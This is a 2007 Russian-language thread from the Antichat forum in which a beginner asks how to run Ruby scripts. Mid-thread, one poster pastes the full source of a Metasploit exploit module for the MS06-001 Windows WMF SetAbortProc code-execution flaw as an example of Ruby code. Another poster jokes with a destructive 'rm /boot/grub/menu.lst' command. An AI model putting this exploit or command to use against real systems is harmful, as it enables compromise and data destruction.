Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   язык программирования Ruby (https://forum.antichat.xyz/showthread.php?t=56668)

max_rebel 27.12.2007 00:45

язык программирования Ruby
 
Всем привет,я пока ламер,но начал учить язык RUBY - если есть кто-нибудь ещё кто о таком слышал,то подскажите как запустить программу ***.rb (расширение RUBY) =(

__mad 27.12.2007 02:46

ruby *.rb

emik 27.12.2007 05:03

Вот что я нашел на Викепедии...
Цитата:

Чтобы запустить программу на Ruby, необходимо вызвать интерпретатор и передать ему имя файла с программой в качестве параметра.
Чтобы запустить программу с именем TecToBa9_nporpamma.rb (программы на Руби обычно имеют расширение .rb), в Unix-e нужно вызвать консоль и набрать:
% ruby TecToBa9_nporpamma.rb

Чтобы запустить программу из Windows нужно дважды кликнуть на файл с программой. Чтобы окно не исчезало и были видны результаты надо перед местами выхода из программы поставить команду ожидания ввода
STDIN.getc

Именам программ в Windows принято давать расширение .rbw, что позволяет использовать Windows-версию интерпретатора rubyw, который надоедающее окошко просто не вызывает. Интерпретатор ruby предназначен для работы в консоли. Для интерпретатора rubyw вставлять код STDIN.getc перед местами выхода бесполезно
Зайди _http://ru.wikibooks.org/wiki/Ruby#.D0.9D.D0.B0.D1.87.D0.B0.D0.BB.D0.BE_.D1.80.D 0.B0.D0.B1.D0.BE.D1.82.D1.8B и посмотри сам, очень много интересного.

max_rebel 27.12.2007 12:13

не правильно задал вопрос,сорри. Я имел ввиду можно ли запустить **.rb как обычную прогу ехе? Потомучто если двойным щелчком rb запустить то появляется консоль и тутже исчезает=(Но если через консоль запускать то работает.У меня пока первые программки они только консольные,типа привет как тебя зовут.

max_rebel 27.12.2007 12:15

emik

Чтото я невнимательно викиучебник видимо прочитал=)

Shawn1x 27.12.2007 15:37

Зачем тебе этот язык? Он сейчас не востребован, я про него первый раз слышу...
Бери лучше учебники по си или Дельфи и учи их

-=lebed=- 27.12.2007 16:01

Эксплоиты для Metasploit Framework 3.0 пишутся на Ruby, как exe запустить нельзя, так как нужен сам интерпретатор, а компилятора имхо нет...

Spyder 27.12.2007 16:08

Shawn1x , ты решил что он невостребован только потому что ты первый раз о нём слышишь?

Shawn1x 27.12.2007 17:13

Да, ибо я не видел ни одной программы на данном языке

Forcer 27.12.2007 17:21

Shawn1x
мда...видишь кролика? а он есть!

-=lebed=- 27.12.2007 17:54

Цитата:

Сообщение от Shawn1x
Да, ибо я не видел ни одной программы на данном языке

Ну вот тогда глянь к примеру:
PHP код:

require 'msf/core'

module Msf

class Exploits::Windows::Browser::MS06_001_WMF_SETABORTPROC Msf::Exploit::Remote

    
#
    # This module acts as an HTTP server
    #
    
include Exploit::Remote::HttpServer

    def initialize
(info = {})
        
super(update_info(info,
            
'Name'           => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',
            
'Description'    => %q{
                
This module exploits a vulnerability in the GDI library included with
                Windows XP 
and 2003. This vulnerability uses the 'Escape' metafile function
                
to execute arbitrary code through the SetAbortProc procedureThis module
                generates a random WMF record stream 
for each request.
            },
            
'License'        => MSF_LICENSE,
            
'Author'         => 
                [ 
                    
'hdm'
                    
'san <san@xfocus.org>',
                    
'O600KO78RUS@unknown.ru',
                ],
            
'Version'        => '$Revision: 3906 $',
            
'References'     => 
                [
                    [
'MSB''MS06-001'],
                      [
'BID''16074'],
                    [
'CVE''2005-4560'],
                      [
'OSVDB''21987'],
                    [
'MIL''111'],
                    [
'URL''http://www.microsoft.com/technet/security/advisory/912840.mspx'],                    
                    [
'URL''http://wvware.sourceforge.net/caolan/ora-wmf.html'],
                    [
'URL''http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
                ],
            
'DefaultOptions' =>
                {
                    
'EXITFUNC' => 'thread',
                },
            
'Payload'        =>
                {
                    
'Space'    => 1000 + (rand(256).to_i 4),
                    
'BadChars' => "\x00",
                    
'Compat'   => 
                        {
                            
'ConnectionType' => '-find',
                        },
                    
'StackAdjustment' => -3500,
                },
            
'Platform'       => 'win',
            
'Targets'        =>
                [
                    [ 
'Windows XP/2003/Vista Automatic', { }],
                ],
            
'DisclosureDate' => 'Dec 27 2005',
            
'DefaultTarget'  => 0))
    
end

    def autofilter
        false
    end
    
    def check_dependencies
        use_zlib
    end

    def on_request_uri
(clirequest)
    
    
        
ext 'wmf'
    
        
if (not request.uri.match(/\.wmf$/i))
            
html =
                
"<html><meta http-equiv='refresh' content='0; URL=" +
                
get_resource '/' 
                
Rex::Text.rand_text_alphanumeric(rand(80)+16) + 
                
".#{ext}'><body>One second please...</body></html>"
            
send_response(clihtml)
            return
        
end

        
# Re-generate the payload
        
return if ((regenerate_payload(cli)) == nil)

        
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

        
# Transmit the compressed response to the client
        
send_response(cligenerate_metafile(p), { 'Content-Type' => 'text/plain' })
        
        
handler(cli)
    
end
    
    def generate_metafile
(payload)
        
        
# Minimal length values before and after the Escape record
        
pre_mlen 1440 rand(8192)
        
suf_mlen 128  rand(8192)
        
        
# Track the number of generated records
        
fill 0
        
        
# The prefix and suffix buffers
        
pre_buff ''
        
suf_buff ''
        
        
# Generate the prefix
        
while (pre_buff.length pre_mlen
            
pre_buff << generate_record()
            
fill += 1
        end
        
        
# Generate the suffix
        
while (suf_buff.length suf_mlen
            
suf_buff << generate_record()
            
fill += 1
        end
        
        clen 
18 payload.encoded.length pre_buff.length suf_buff.length
        data 
=
            
#
            # WindowsMetaHeader
            #
            
[
                
# WORD  FileType;       /* Type of metafile (1=memory, 2=disk) */
                
rand(2)+1,
                
# WORD  HeaderSize;     /* Size of header in WORDS (always 9) */
                
9,
                
# WORD  Version;        /* Version of Microsoft Windows used */
                
rand(2).to_i == 0x0300 0x0100 ),
                
# DWORD FileSize;       /* Total size of the metafile in WORDs */
                
clen/2,
                
# WORD  NumOfObjects;   /* Number of objects in the file */
                
rand(0xffff),
                
# DWORD MaxRecordSize;  /* The size of largest record in WORDs */
                
rand(0xffffffff),
                
# WORD  NumOfParams;    /* Not Used (always 0) */
                
rand(0xffff),
            ].
pack('vvvVvVv') +
            
#
            # Filler data
            #
            
pre_buff +
            
#
            # StandardMetaRecord - Escape()
            #
            
[
                
# DWORD Size;          /* Total size of the record in WORDs */
                
4,
                
# WORD  Function;      /* Function number (defined in WINDOWS.H) */
                
(rand(256).to_i << 8) + 0x26,
                
# WORD  Parameters[];  /* Parameter values passed to function */
                
9,            
            ].
pack('Vvv') + payload.encoded +
            
#
            # Filler data
            #
            
suf_buff +
            
#
            # Complete the stream
            #
            
[30].pack('Vv') +
            
#
            # Some extra fun padding
            #
            
Rex::Text.rand_text(rand(16384)+1024)
        
        return 
data
        
    end
    
    def generate_record
        type 
rand(3)
        
        case 
type
            when 0
                
# CreatePenIndirect
                
return [80x02fa].pack('Vv') + Rex::Text.rand_text(10)
            
when 1
                
# CreateBrushIndirect
                
return [70x02fc].pack('Vv') + Rex::Text.rand_text(8)            
            else
                
# Rectangle
                
return [70x041b].pack('Vv') + Rex::Text.rand_text(8)
        
end
    end


end

end 


z01b 27.12.2007 17:57

Цитата:

Да, ибо я не видел ни одной программы на данном языке
Этот язык, активно развивается и очень часто встречается в *nix подобных ОС.

Neovild 27.12.2007 18:12

http://www.opennet.ru/base/dev/ruby_quickstart.txt.html
"Для установки в Windows достаточно скачать один из вариантов Ruby с http://ftp.ruby-lang.org/pub/ruby/binaries/ можно- mswin32/ruby-1.8.1-20040402-i386-mswin32.zip). Распаковать и проставить правильно пути к директориям. Можно также воспользоваться пакетом автоматической установки RubyInstaller (http://rubyforge.org/projects/rubyinstaller). Определить правильность установки поможет команда C:\>ruby --help"
(c) Неткачев

Сам знаю, что язык хорош для написания эксплоитов. Интерпретируемый язык, типы переменных как в пхп, объектно-ориентированная парадигма. Не кодил на нем, но слышал хорошие отзывы.

Loker 27.12.2007 18:27

Я тоже 1 раз слышу о таком языке))) Надо поподробнее рассмотреть, может он окажеться очень полезным)

ртуть 27.12.2007 19:15

превед, ламер! похвально твоё увлечение... встречала интересные скрипты на рубине ) данный скриптовый язык, насколько я знаю, популярен в среде маков ) на нем где-то видела даже вирусы )

z01b 27.12.2007 20:14

Цитата:

Сообщение от ртуть
превед, ламер! похвально твоё увлечение... встречала интересные скрипты на рубине ) данный скриптовый язык, насколько я знаю, популярен в среде маков ) на нем где-то видела даже вирусы )

он и на линухе очень популярен )

Jes 27.12.2007 20:14

http://Jes.xaker.ru/Ilove.gif Paranoid :)

geezer.code 27.12.2007 20:27

Руби, сильная штука :) щас пишу на нем и да простят меня господа пхп-шники, Ruby On Rails - рулит...
Все доводы по поводу скорости интерпретатора, уже не актуальны, руби 2.0 уже компилируется в байт код как и Питон и Ява.
самый крупный известный мне проект на RoR - www.dandelife.com

ртуть 27.12.2007 20:33

в байт код кстати и перл тоже можно загнать ) это так к сведению )) хотя читала по версии 5.6 что функция ByteCode тестится.... хз как по 5.8 ...

jnick 27.12.2007 22:52

Цитата:

Сообщение от max_rebel
не правильно задал вопрос,сорри. Я имел ввиду можно ли запустить **.rb как обычную прогу ехе? Потомучто если двойным щелчком rb запустить то появляется консоль и тутже исчезает=(Но если через консоль запускать то работает.У меня пока первые программки они только консольные,типа привет как тебя зовут.

например в паскале чтоб консольная прога не закрывалась сразуже в конце проги пишут Readln тобиш просит прочитать символ и после нажатия ентер прга закрываеться. Если в рубу есть такая функция то добавь в конец программы и да будет тебе щастя :)

presidentua 28.12.2007 02:35

Цитата:

emik

Чтото я невнимательно викиучебник видимо прочитал=)
Так ты попробовал перед местом выхода из програмы вставить команду ожыдания ввода STDIN.getc

я этим языком сам не пользуюсь но кажись она так пишется
Код:

c = $stdin.getc
Наверное стоит самому попробовать этот язык, уж сильно про его отлики хорошие, а тебе советую если ты только начал - начни с Паскаля или РНР. Там все придельно просто и понятно.

_Great_ 28.12.2007 08:31

Цитата:

Сообщение от z01b
он и на линухе очень популярен )

Ну я его вообще тоже в линухе ни разу не видел ) Хотя может действительно плохо смотрел, т.к. специально не искал

Shawn1x 28.12.2007 08:39

Вот.... Еще один чел, который ничего не слышал

_Great_ 28.12.2007 08:41

Цитата:

Сообщение от Shawn1x
Вот.... Еще один чел, который ничего не слышал

Да вы походу читать не умеете) Про язык-то я слышал, я использование в линуксе не видел.

Shawn1x 28.12.2007 08:44

Ну я так и сказал

Spyder 28.12.2007 12:13

грейт его в линухе не видел, а ты вообще первый раз о нём слышишь. не сравнивай *** с пальцем

max_rebel 28.12.2007 15:17

ни хрена вы тут дискуссию развернули=)Один день всего не заглядывал=) Т.е. что же получается что нельзя пользоваться программой написаной на руби если интерепретатор(я пока очень пространственно представляю кстати что это=)) на компе не установлен? Я имею ввиду что если я написал прогу на компе где руби установлен и допустим хочу эту прогу на другом компе(где руби нет) запустить то она не будет работать? Чтото мне в душе подсказывает "На хрена такой язык ваще нужен - язык для одного компа получается"

max_rebel 28.12.2007 15:19

Цитата:

Сообщение от Neovild
http://www.opennet.ru/base/dev/ruby_quickstart.txt.html
"Для установки в Windows достаточно скачать один из вариантов Ruby с http://ftp.ruby-lang.org/pub/ruby/binaries/ можно- mswin32/ruby-1.8.1-20040402-i386-mswin32.zip). Распаковать и проставить правильно пути к директориям. Можно также воспользоваться пакетом автоматической установки RubyInstaller (http://rubyforge.org/projects/rubyinstaller). Определить правильность установки поможет команда C:\>ruby --help"
(c) Неткачев

Сам знаю, что язык хорош для написания эксплоитов. Интерпретируемый язык, типы переменных как в пхп, объектно-ориентированная парадигма. Не кодил на нем, но слышал хорошие отзывы.

это я всё сделал...вроде правильно=)

max_rebel 28.12.2007 15:23

Цитата:

Сообщение от ртуть
превед, ламер! похвально твоё увлечение... встречала интересные скрипты на рубине ) данный скриптовый язык, насколько я знаю, популярен в среде маков ) на нем где-то видела даже вирусы )

превед,единственный свой вирус я пока написал в блокноте=)и назвал его virus.bat =) Интересных скриптов не встречал - потому что ничего в них не понимаю пока,мак тоже в глаза не видел(зато юзаю мандриву2008)=)

KEZ 28.12.2007 15:27

Бля, а "РАБИ" - это не от "РАБИнович" случайно? Или "руби" правильно? А там осенблерные вставки можно писать? А SDK для Vista? =\

Shawn1x 28.12.2007 19:27

Ха... Даже Kez не знает, а вы мне тут втираете

Jes 28.12.2007 22:17

Цитата:

Сообщение от max_rebel
превед,единственный свой вирус я пока написал в блокноте=)и назвал его virus.bat ... (зато юзаю мандриву2008)=)

ты наверна мандриву совсем не кормишь , если она даже bat готова сьесть? :)

гыгы " rm /boot/grub/menu.lst 2>/dev/null " ;)

Spyder 30.12.2007 17:37

Я имею ввиду что если я написал прогу на компе где руби установлен и допустим хочу эту прогу на другом компе(где руби нет) запустить то она не будет работать? Чтото мне в душе подсказывает "На хрена такой язык ваще нужен - язык для одного компа получается"

ога, те php, perl, python - тоже на*** не нужны +)

Forcer 30.12.2007 17:55

с .net та же фигня. Всё дело в распространенности и в поддержке крупными компаниями.

nerezus 30.12.2007 19:01

И с бинарниками для винды тоже. Оно же для одного компа, именно для того, на котором винда.

KSURi 30.12.2007 19:09

а почему топик находится в разделе компилируемых языков, а не скриптовых?

KEZ 30.12.2007 19:17

потому что я хакер

Ni0x 30.12.2007 19:25

Цитата:

потому что я хакер
крышует тебя кто?

KEZ 30.12.2007 19:30

динар.

Spyder 30.12.2007 20:32

до, Динар и Изос известные авторитеты
Мы пишем плоет на руби, а на радио античат "Ах мой милый мусорок"


Время: 06:55